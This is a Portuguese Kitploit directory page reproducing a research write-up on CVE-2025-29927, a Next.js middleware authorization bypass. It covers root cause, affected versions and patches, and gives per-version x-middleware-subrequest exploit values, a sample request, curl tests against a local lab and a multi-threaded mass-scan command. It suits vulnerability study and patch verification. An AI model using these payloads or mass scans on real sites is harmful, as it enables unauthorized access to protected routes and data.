Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-29927 — Análise aprofundada e PoC para CVE-2025-29927, um bypass de autorização do middleware do Next.js via o cabeçalho x-middleware-subrequest. Inclui templates Nuclei e um script de varredura em massa para testes. | Kitploit
Ferramentas/GitHubGitHub/iteride/cve-2025-29927
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoPapers e PesquisaAprendizado e Educação
GitHubiteride/cve-2025-29927

CVE-2025-29927

Análise aprofundada e PoC para CVE-2025-29927, um bypass de autorização do middleware do Next.js via o cabeçalho x-middleware-subrequest. Inclui templates Nuclei e um script de varredura em massa para testes.

Ver Repositório
1há 11 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-29927

Introdução

Neste documento é apresentada a pesquisa sobre a vulnerabilidade CVE-2025-29927, que afeta o mecanismo Middleware no framework Next.js.
Next.js é um framework open-source popular da Vercel para desenvolvimento de aplicações baseadas em React. Ele suporta renderização no servidor, geração estática e um sistema flexível de middleware, utilizado para roteamento, redirecionamentos, cabeçalhos de segurança e verificação de direitos de acesso.

Em março de 2025, foi identificada uma vulnerabilidade crítica CVE-2025-29927, relacionada ao processamento de um cabeçalho interno de sub-requisições.
A essência do problema é a possibilidade de contornar verificações de autorização em aplicações onde o controle de acesso é implementado exclusivamente no middleware, através da inserção de um valor específico no cabeçalho HTTP x-middleware-subrequest. Se a segurança depende apenas do middleware, um atacante pode obter acesso a rotas ou dados restritos.

Versões afetadas do Next.js e correções (de acordo com fontes públicas e materiais oficiais):

  • 11.1.4 ≤ versão < 12.3.5
  • 13.0.0 ≤ versão < 13.5.9
  • 14.0.0 ≤ versão < 14.2.25
  • 15.0.0 ≤ versão < 15.2.3

As correções estão disponíveis nos lançamentos 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.

Next.js é amplamente utilizado em produção; uma vulnerabilidade que atinge a camada de middleware (frequentemente usada para autenticação/autorização e políticas de segurança) representa um alto risco prático.


Objetivo do relatório

Analisar passo a passo a vulnerabilidade e documentar o ciclo completo de pesquisa:

Coleta e estruturação de materiais.
Sistematizar fontes públicas sobre a CVE-2025-29927; apresentar a essência do defeito, condições de disparo e versões/patches confirmados.

Determinação de CPE e condições de configuração.
Listar CPE/versões e descrever as configurações nas quais a vulnerabilidade é reproduzível (por exemplo, implantação self-hosted e autorização a nível de middleware).

Demonstração segura.
Preparar uma demonstração reproduzível em ambiente de teste (sem ações destrutivas), confirmando a bypass do middleware em versões vulneráveis.

Metodologias de verificação em massa.
Descrever e implementar três abordagens seguras:

  • nuclei (modo ativo com minimização de impacto),
  • nuclei (modo passivo baseado em versões/indícios indiretos),
  • script próprio em Python/Go (verificação ativa multi-thread em hosts de teste).

Essência da vulnerabilidade

middleware

  • Causa raiz. No Next.js, o cabeçalho interno x-middleware-subrequest é usado para rastrear sub-requisições internas e evitar recursão no middleware. Em branches vulneráveis, clientes externos podem inserir esse cabeçalho com um valor "esperado" — e o runtime pula a execução do middleware, passando a requisição diretamente ao manipulador da rota.

  • Papel do cabeçalho. O cabeçalho x-middleware-subrequest foi originalmente concebido como um indicador interno de que a requisição HTTP atual foi iniciada pelo próprio framework como uma sub-requisição intermediária, e não veio diretamente do usuário.
    Ele é necessário para o funcionamento correto dos mecanismos internos do Next.js: além do roteamento, essa flag ajuda a evitar recursão infinita, "marcando" cada camada intermediária invocada.
    Mas é exatamente essa lógica que criou uma brecha não intencional na segurança: um cliente que adicione esse cabeçalho por conta própria pode fazer o sistema tratar sua requisição como interna e assim contornar as verificações de autorização.

  • Evolução da lógica.

    • Nas versões mais antigas, o cabeçalho é interpretado como uma lista de valores separados por dois pontos, e o mecanismo o compara com o nome/caminho do middleware ativo.
    • Nas versões mais novas, foi adicionada proteção contra recursão infinita na forma de um contador de profundidade; ao atingir o limite (padrão 5), o middleware também é pulado. Esse mecanismo pode ser enganado se o cabeçalho for formatado "como se" a cadeia de sub-requisições já tivesse esgotado o limite.

Impacto

  • Confidencialidade e integridade. Acesso não autorizado a páginas ou APIs protegidas quando o controle de acesso é implementado apenas a nível de middleware; potencial modificação de dados através de endpoints protegidos.
  • Disponibilidade. Efeitos colaterais como cache poisoning podem levar a cache incorreto e degradação da disponibilidade em algumas configurações.

CPE e condições de configuração

CPE oficial (CPE 2.3)

Os registros atuais do NVD indicam o produto Vercel Next.js com o software alvo node.js. Para os branches vulneráveis, as seguintes configurações são aplicadas (faixas de versão definidas ao nível das configurações CPE no NVD):

CPE URIFaixa de versão vulnerável
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*11.1.4 ≤ v < 12.3.5

Nota: na descrição da CVE também é indicado que, em geral, "a partir de 11.1.4 até 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3" a vulnerabilidade é reproduzível se as condições abaixo forem atendidas.

Condições de relevância em ambiente de produção

  • O controle de acesso (autenticação/autorização) é implementado no middleware e não é duplicado nos manipuladores/backend.
  • Implantação self-hosted (por exemplo, next start, compilação com output: 'standalone') ou qualquer ambiente onde o middleware é executado em requisições de entrada sem filtragem perimetral de cabeçalhos internos.
  • Ausência de mecanismos externos que descartem requisições de usuário com x-middleware-subrequest (por exemplo, regras de WAF).

Mecanismo interno do x-middleware-subrequest

Para evitar recursão infinita do código intermediário, o runtime forma e lê o cabeçalho interno:

  1. O valor do cabeçalho é interpretado como uma string com elementos separados por dois pontos : — obtendo um array de "sub-requisições".
  2. Em seguida, o runtime verifica:
    • se o nome/caminho do middleware atual aparece nesse array (em branches antigos isso levava à omissão imediata via NextResponse.next()),
    • ou se a profundidade máxima de recursão foi atingida (em branches novos é aplicado um limite, padrão 5), e então o middleware também é pulado.
  3. Para proteção contra falsificação, nos patches foi adicionado um identificador de sub-requisição separado (x-middleware-subrequest-id), vinculado à sessão atual do processo; se não coincidir, o x-middleware-subrequest de entrada é limpo no lado do servidor.

Método de exploração

O atacante envia uma requisição HTTP para a aplicação Next.js alvo, adicionando o cabeçalho interno x-middleware-subrequest.
No valor, especifica o caminho para o arquivo de middleware — por exemplo pages/_middleware, middleware ou src/middleware.
O valor necessário depende da versão do Next.js e da estrutura do projeto.

Quando essa requisição chega à aplicação, a lógica interna do framework a interpreta como uma sub-requisição interna e assume que a camada intermediária já foi executada.
Como resultado, as verificações de autenticação e autorização que normalmente ocorrem no middleware são efetivamente ignoradas.


PoC / Exploit

Importante: este material é fornecido exclusivamente para verificação do patch e modelagem de risco em ambiente de teste fechado.
Qualquer verificação em infraestrutura de produção só é possível com autorização do proprietário dos recursos.

Princípio geral

O Next.js usa o cabeçalho interno x-middleware-subrequest para marcar sub-requisições internas e prevenir a execução recursiva do middleware.
Ao processar a requisição, o valor do cabeçalho é dividido pelo caractere : e comparado com o nome do middleware atual.
Nas versões mais novas, foi adicionado um limite de profundidade (MAX_RECURSION_DEPTH, geralmente 5).
Se a condição (correspondência de nome ou atingimento do limite) for atendida, o Next.js pula o middleware e passa a requisição adiante.
O atacante pode formar um valor de cabeçalho correto, simulando uma sub-requisição interna.

Exploração por versão

1️⃣ Versões anteriores a 12.2: Pages Router e _middleware.*

  • Os arquivos de middleware eram chamados _middleware.js/ts e localizados no diretório pages/.
  • O valor do cabeçalho deve corresponder ao caminho do arquivo, por exemplo: x-middleware-subrequest: pages/_middleware

2️⃣ Versões 12.2 – 13.0.0: middleware.* raiz

  • A partir da versão 12.2, o sublinhado foi removido: o arquivo passou a ser middleware.js/ts.
  • Ele pode estar na raiz do projeto ou na raiz do diretório /src.
  • Para bypass do middleware, use o cabeçalho: x-middleware-subrequest: middleware ou x-middleware-subrequest: src/middleware

3️⃣ Versões 13.x e posteriores: limite de profundidade de recursão

  • Foi adicionada a verificação de profundidade: o valor do cabeçalho é dividido por :, e se o número de repetições do nome do middleware for ≥ 5,
    o Next.js considera a condição de recursão atingida e pula o middleware via NextResponse.next().
  • Para o ataque, o cabeçalho é formatado assim: x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware ou x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

Particularidades no Next.js 15.x

Nos lançamentos 15.x, os desenvolvedores reformularam a lógica para evitar chamadas recursivas infinitas.
Quando o middleware é acionado em uma rota (por exemplo, /api/*), o Next.js obtém uma URL diferente que também aciona o mesmo middleware.
O framework conta o número de acionamentos através do cabeçalho x-middleware-subrequest.
Se o número de chamadas atingir o limite configurado (MAX_RECURSION_DEPTH, padrão 5), as chamadas subsequentes do middleware são bloqueadas.
O atacante pode explorar esse comportamento, pré-especificando no cabeçalho um valor com o número necessário de repetições, atingindo artificialmente o limite de profundidade — como resultado, o middleware é completamente ignorado.

Exemplo de requisição

Para branches antigos, o valor do cabeçalho é escolhido de acordo com as opções acima

root@kitploit:~
GET /admin/dashboard HTTP/1.1
Host: <TEST-HOST>
User-Agent: <YOUR-LAB-CLIENT>
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

Por que isso funciona

x-middleware-subrequest foi concebido como um mecanismo interno de proteção contra recursão infinita.
Mas nas versões vulneráveis não havia filtragem de requisições externas: o cliente podia forjar o cabeçalho,
satisfazer a condição de bypass (correspondência de nome ou atingimento do limite de profundidade)
e acessar diretamente o manipulador da rota protegida.

Inicialização do ambiente de teste

root@kitploit:~
git clone https://github.com/iteride/CVE-2025-29927.git
cd CVE-2025-29927/nextjs/
npm install
npm run dev

Teste:

(exemplo baseado em Next.js 15.2.2; para outros branches, escolha o valor do cabeçalho conforme tabela na seção PoC)

  1. Requisição padrão:
root@kitploit:~
curl -I http://localhost:3000
HTTP/1.1 307 Temporary Redirect
location: /403
Date: Mon, 22 Sep 2025 16:36:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5
  1. Requisição com cabeçalho x-middleware-subrequest:
root@kitploit:~
curl -I -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/93f479601ee12b01-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/css/app/layout.css?v=1758558988609>; rel=preload; as="style"
Cache-Control: no-store, must-revalidate
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Date: Mon, 22 Sep 2025 16:36:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5

Recomendações de proteção

  • Atualize o Next.js para pelo menos as versões 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.
  • Se a atualização for adiada — filtre ou descarte o cabeçalho externo x-middleware-subrequest a nível de WAF/proxy.
  • Duplique as verificações críticas de autorização nos manipuladores de API, e não apenas no middleware.

Template Nuclei para teste

  • Este template combina verificação passiva e ativa de aplicações Next.js.
  • Analisa passivamente cabeçalhos e redirecionamentos para identificar indícios de Next.js e possível comportamento de middleware.
  • Testa ativamente a bypass de middleware usando o cabeçalho X-Middleware-Subrequest especialmente formatado.
  • Utiliza múltiplos payloads, aumentando a probabilidade de detecção da vulnerabilidade — aproximadamente 60% em condições padrão de teste.

nuclei

⚠️ Atenção: o template destina-se apenas a testes em alvos próprios ou autorizados. O uso em serviços de terceiros sem consentimento dos proprietários é ilegal.

Script para teste em massa

  • O script suporta multithreading, permitindo escanear rapidamente um grande número de serviços e caminhos.
  • Suporta entrada de listas de alvos e caminhos através de arquivos.
root@kitploit:~
python3 scan.py --targets-file TARGETS_FILE --paths-file PATHS_FILE --threads THREADS
Baixar ferramenta
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*13.0.0 ≤ v < 13.5.9
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*14.0.0 ≤ v < 14.2.25
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*15.0.0 ≤ v < 15.2.3